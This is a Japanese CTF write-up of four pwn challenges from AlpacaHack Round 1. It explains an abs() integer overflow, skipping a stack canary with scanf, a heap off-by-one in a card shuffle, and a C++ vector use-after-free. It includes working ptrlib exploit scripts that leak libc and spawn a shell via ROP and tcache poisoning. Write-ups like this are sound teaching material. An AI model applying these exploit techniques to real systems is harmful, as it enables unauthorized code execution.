keymoonくんが直近でずっと作り続けていた個人戦CTFプラットフォーム「AlpacaHack」の記念すべきFirst Roundに参加した。 *1 今回はptr-yudai 作問の Pwnが4問出題される6時間コンテストだった。
結果は、全完(5:20:30)で3位。以下に書くようにUbuntu 24.04を当初使っていた結果苦しんだ時間を念頭においても、1, 2位との差は大きかった。クーン
問題もあと一問ハード問足せばこれだけで24時間コンテストの問題セット(例えばSECCON quals?さすがに嘘か?)にしても良いんじゃないかという雰囲気(さすがにやや典型より過ぎかもしれないが)で、しかも6時間で解けるように設計されており非常に質が高かった。☆5です。
以下は、これからも応援しているという感情に基づくwriteup
echo
正直ちょっと舐めてたので、RTA CTF1問目くらいの難易度を想定していたら、かなり苦しんだ
int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; } /* omitted */ void echo() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data: "); get_data(buf, size); // Show data printf("Received: %s\n", buf); }
バイナリは、get_size
でsizeを受け取ってその分だけget_dataをしてくれるだけのサービス。
abs(size)は、$-2^{31}$ を与えると整数オーバーフローするので(以下参照)
ubuntu@ip-172-31-19-240:~/test$ cat uo.c #include <stdio.h> int main(void) { int size = -2147483648; int size2 = abs(size); printf("%d\n", size2); return 0; } ubuntu@ip-172-31-19-240:~/test$ ./a.out -2147483648
これをsizeに用いると(unsignedで見ると)BUF_SIZE超えのsizeを得ることができる。win関数があるので、あとはスタックオーバフローをして、retアドレスをwinに向ければよい。
from ptrlib import * binary = "./echo" elf = ELF(binary) """ libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") """ # libc = ELF("./libc.so.6") r = Socket("nc 34.170.146.252 17360") # """ def sla(*args): print(args) r.sendlineafter(*args) win = elf.symbol("win") logger.info("win: " + hex(win)) payload = p64(win) * 100 sla("Size: ", "-2147483648") sla("Data: ", payload) r.sh()
Third Blood
hexecho
長さの制限が無く入力として1バイトずつhexdecimalな数字を受け取るという以下のようなプログラム
void get_hex(char *buf, unsigned size) { for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i); } void hexecho() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data (hex): "); get_hex(buf, size); // Show data printf("Received: "); for (int i = 0; i < size; i++) printf("%02hhx ", (unsigned char)buf[i]); putchar('\n'); }
以下のようにhexdecimalな形式で好きなだけ長いバイト列を送ることができるが、stack canaryがある。
❯ ./hexecho Size: 4 Data (hex): 12345678 Received: 12 34 56 78 ❯ checksec --file=hexecho Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
stack canaryをリークできるような余裕はないので、困ったという気持ちになるが、+や-をscanfに与えると書き込み先のバッファに何も書き込むことなく終了させることができることを思い出すと、バッファオーバーフローでcanaryの部分だけスキップして書き込むようにすればあとはROPができることが分かる。
❯ ./hexecho Size: 256 Data (hex): + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Received: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 80 bc a7 74 ff 7f 00 00 0f 5c e9 2d 68 7a 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 20 00 2e 68 7a 00 00 a0 bc a7 74 ff 7f 00 00 05 24 e9 2d 68 7a 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 d0 bc a7 74 ff 7f 00 00 7b 84 e8 2d 68 7a 00 00 08 be a7 74 ff 7f 00 00 01 00 00 00 00 00 00 00
今回はwin関数が無いので、pwnする際にはsystem("/bin/sh")をするためにlibcアドレスのリークが必要になる。以下のsolverでは、第一段階でcanaryを避けながらmainにretをしつつ、さらにstack上に落ちているlibc_start_mainのアドレスをリークしlibcアドレスを得る。その上で二ターン目において system("/bin/sh")
に対応するROPを行う(今回はcanaryもリークできているはずで避ける必要もないが避けている)。
from ptrlib import * binary = "./hexecho" elf = ELF(binary) """ libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") """ libc = ELF("./libc.so.6") r = Socket("nc 34.170.146.252 51786") # """ def wait_for_attach(): if not is_remote: input('attach?') def sla(*args): r.sendlineafter(*args) buf = b"ABCDEFGH" * (264 // 8) payload = buf.hex() + "\n" payload += "+\n" * 8 rop = [ next(elf.gadget("ret")), elf.symbol("main") ] payload += p64(0xdeadbeef).hex() payload += b''.join(map(p64, rop)).hex() payload += "+\n" * 8 sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop))) sla("Data (hex): ", payload) l = r.recvlineafter(": ").decode("ascii") l = l.split(" ")[-8:] libc_ret = 0 for x in l[::-1]: libc_ret *= 256 libc_ret += int(x, 16) print("libc_ret:", hex(libc_ret)) # libc.base = libc_ret - 0x2a1ca libc.base = libc_ret - 0x10d90 - 25 * 0x1000 # phase 2: buf = b"HOGENEKO" * (264 // 8) payload = buf.hex() + "\n" payload += "+\n" * 8 rop = [ next(libc.gadget("ret")), next(libc.gadget("pop rdi; ret")), next(libc.find("/bin/sh")), libc.symbol("system") ] payload += p64(0xdeadbeef).hex() payload += b''.join(map(p64, rop)).hex() payload += "+\n" * 8 sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop))) sla("Data (hex): ", payload) r.sh()
Second Blood (微妙に24.04との環境差で苦しんでいた時間で捲くられて悔しい。カスだから最後 libc_start_main
のオフセット分からなくてブルートフォースした。なんで?)
deck
ヒープ問。トランプのカードのデッキをシャッフルし、そのトップに有るカードを当てるゲームが実装されており、ユーザーはゲームプレイの他、シャッフルアルゴリズムの変更とユーザー名の変更が可能になっている。
typedef unsigned short card_t; typedef struct _game_t { void (*shuffle)(card_t*); card_t *deck; char *name; } game_t; /** omitted **/ void shuffle_knuth(card_t *deck) { size_t i, j; for (i = DECK_SIZE; i > 0; i--) { j = rand() % (i + 1); // off-by-one!! swap_cards(deck, i, j); } } void game_play(game_t *game) { printf("Challenger: %s\n", game->name); game->shuffle(game->deck); /** omitted **/ } void main() { /** omitted **/ puts("1. Play a game\n" "2. Change shuffle method\n" "3. Change your name"); switch (getval("> ")) { case 1: game_play(game); break; case 2: /** omitted **/ case 3: { char *name; size_t len = getval("Length: "); if (len > 0x1000) { puts("[-] Invalid length"); break; } if (!(name = (char*)malloc(len + 1))) { puts("[-] Cannot allocate memory"); break; } getstr("Name: ", name, len); free(game->name); game->name = name; break; } default: game_del(game); return 0; }
カード情報は、以下のように2バイト整数で管理されており、
#define MAKE_CARD(suit, rank) ((((suit)) << 8) | (rank)) #define CARD_SUIT(card) ((card_t)(card) >> 8) #define CARD_RANK(card) ((card_t)(card) & 0xff)
これらのゲーム情報がゲーム開始時にmallocを用いて以下のように初期化される。
game_t* game_new() { game_t *game; char *name = NULL; card_t *deck = NULL; if (!(deck = (card_t*)malloc(sizeof(card_t) * DECK_SIZE))) goto err; if (!(name = strdup("Human"))) goto err; if (!(game = (game_t*)malloc(sizeof(game_t)))) goto err; for (size_t i = 0; i < DECK_SIZE; i++) deck[i] = MAKE_CARD(i / 13, i % 13); game->deck = deck; game->name = name; game->shuffle = shuffle_naive; srand(time(NULL)); return game;
脆弱性は、上述の shuffle_knuth
のoff-by-oneで、52番目の要素までswapしてしまう。上のゲーム初期化パートを見ると、ヒープ領域は以下のような順序で配置されている。
pwndbg> x/40gx 0x1f4b290 0x1f4b290: 0x0000000000000000 0x0000000000000071 /** cards **/ 0x1f4b2a0: 0x0003000200010000 0x0007000600050004 0x1f4b2b0: 0x000b000a00090008 0x010201010100000c 0x1f4b2c0: 0x0106010501040103 0x010a010901080107 0x1f4b2d0: 0x02010200010c010b 0x0205020402030202 0x1f4b2e0: 0x0209020802070206 0x0300020c020b020a 0x1f4b2f0: 0x0304030303020301 0x0308030703060305 0x1f4b300: 0x030c030b030a0309 0x0000000000000021 /** strdup("Human") **/ 0x1f4b310: 0x0000006e616d7548 0x0000000000000000 0x1f4b320: 0x0000000000000000 0x0000000000000021 /** game_t **/ 0x1f4b330: 0x000000000040143a 0x0000000001f4b2a0 0x1f4b340: 0x0000000001f4b310 0x0000000000020cc1
したがって、cardsの一つ先の2バイトは、"Human"バッファのヒープ管理領域で長さを表す部分であることが分かる。すなわち、いい感じのswapが起こると次のバッファのサイズを大きくすることができると分かる。実際には、上述のように2バイト整数で管理されているMSBから2バイト目はsuitを表しており、これは0~3であり、1バイト目は0~12なので、1/4の確率でバッファサイズ0x200とかになるイメージである(実際にはis_mappedがついているかなども重要になる)。 少し頑張ると確率をあげることも可能だが、大した確率ではないので今回は0x200に固定した場合のみを考えた。
Humanのバッファの長さを大きくできるようになったので、次にこのバッファと名前の変更機能を用いてヒープバッファーオーバーフローを行う。今回のバイナリは以下のようにNo PIEだったので、
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
まずはGame構造体のshuffle関数をputsに書き換えたうえでcardsをprintf_got_addrにして、libcアドレスリーク、その上で同じプリミティブを用いて system("/bin/sh")
を行った
full exploitは、GitHubを参照
sizes = [] #sizes.append(0x10) for i in range(6): sizes.append(0x10 * i) sizes.append(0x70) sizes.append(0xf0) #sizes.append(0x80) for size in sizes: ch_name("A" * size) ch_method(2) play(1, 1) ch_name("A" * 0x10) wait_for_attach() print("come on") ch_name("A" * 0x8) print("nice") ch_name("A" * 0x8) print("cool") # libc_leak payload = [ 0xdead, 0xbeef, 0, 0x21, puts, printf_got] payload = flat(payload, map=p64)[:-1] ch_name(payload, 0x1f0) r.recvuntil("3. Change your name") sla(">", "1") r.recvlineafter('Challenger:') res = r.recvline() sla(": ", 1) sla(": ", 1) l = r.recvlineafter("card: ") printf = libc.symbol("printf") libc.base = just_u64(res) - printf print("libc_base:", hex(libc.base)) wait_for_attach() system = libc.symbol("system") binsh = next(libc.find("/bin/sh")) assert(printf is not None) assert(system is not None) # overwrite ## free ch_name(b"A" * 0x250) payload = [ 0xdead, 0xbeef, 0, 0x21, system, binsh] payload = flat(payload, map=p64)[:-1] ch_name(payload, 0x1f0) r.recvuntil("3. Change your name") sla(">", "1") r.sh()
todo
かなり典型的な形のC++ノート問。std::string
や std::vector
が絡むのでちょっと筋肉がいる。以下が問題のソースコード
#include <iostream> #include <vector> int main() { size_t choice, index; std::string todo; std::vector<std::string> todo_list; std::cin.rdbuf()->pubsetbuf(nullptr, 0); std::cout.rdbuf()->pubsetbuf(nullptr, 0); std::cout << "1. add" << std::endl << "2. show" << std::endl << "3. edit" << std::endl << "4. delete" << std::endl; while (std::cin.good()) { std::cout << "> "; std::cin >> choice; switch (choice) { case 1: // add std::cout << "TODO: "; std::cin.ignore(); std::getline(std::cin, todo); todo_list.emplace_back(todo); break; case 2: // show std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } std::cout << "TODO: " << todo_list[index] << std::endl; break; case 3: // edit std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } std::cout << "TODO: "; std::cin.ignore(); std::getline(std::cin, todo_list[index]); break; case 4: // delete std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } todo_list.erase(todo_list.begin() + index); break; default: return 0; } } return 0; }
機能は
1. 好きな長さの文字列を std::cinで受け取って todo_list
vectorに追加
2. todo_list
のindexを指定して文字列を表示
3. todo_list
のindexを指定して文字列を編集
4. todo_list
のindexを指定して文字列を削除
脆弱性はindexが範囲内にあるかが todo_list.capacity()
にあるかで判断している点(sizeであるべき)。したがって、vectorのサイズが縮まない限りはfree後の文字列へのUAFが可能。
残りはゴリゴリのC++ heap pwn。基本方針は
1. UAFで、tcacheのfdからヒープのアドレスをリーク(libcが2.35なのでencodeに注意)
2. 同じ要領で0x500くらいのバッファを使ってunsorted binsにつながったバッファのUAFでlibcアドレスをリーク
3. 次に、tcache poisoningを利用して、todo_list
vectorと同じヒープバッファをstd::stringとして取得し、一番目の要素を environ
に変更。 show(0)
を通してstack address leak
4. tcache poisoningを用いてret addressを指すバッファを取得し、ROPのペイロードを送る
5. (ちゃんとfreeができるような)fake chunkを多数作って、todo_list
のstringたちの持つバッファをそれらのfake chunkを指すように変更
6. mainからreturnしてRCE
という流れ。5が必要なのは、std::vectorのデストラクタが最終的に自分の持っているバッファをfreeし始めるが、3や4をしている段階でfreeできない(freeすると落ちる)ようなバッファをどうしても作ってしまうので、辻褄合わせのため。
スクリプトはGitHub上に乗せたのでブログ上は長いため割愛。 https://github.com/moratorium08/ctf_writeups/tree/master/2024/alpacahack_1/todo
Third Blood
感想
最近、pwndbg/gefやptrlib、roprなどの新しいツーリングへの移行を行い、シェル周りの環境も整備したCTF用VMをUbuntu 24.04環境にて用意していたのだが、問題が軒並み22.04のlibcを使っていたので、挙動差に苦労した(いや最初から合わせろという話なんですが...)。特にtodoに対するスクリプトが結局remoteで動かず(人はなぜダメ元でこういうことをしてしまうのか)、泣く泣く古き良きgdb-pedaの入った環境を取り出してきて、こちらで todoとdeckを解いた。やはり老人のツーリングから逃げられないらしい。
個人戦CTF6時間は結構体力持ってかれるが、久々に元気出したなという感じだった。問題も(6時間個人コンテストと考えると)かなりちゃんとしていて(Cake並?RTACTF以上?みたいなイメージ)、これを毎月とか開催するのはさすがのptr-yudaiでもきついんじゃないかという気がするが、無理のない範囲で定期開催されていると嬉しい。
あとはAlpacaHackがもっと大きくなって、初回の結果を10年後とかに擦れると嬉しいかな。keymoon先生全力応援
*1:minaminaoさんもメイン開発者らしい。実のところ誰が作っているのかよく把握していない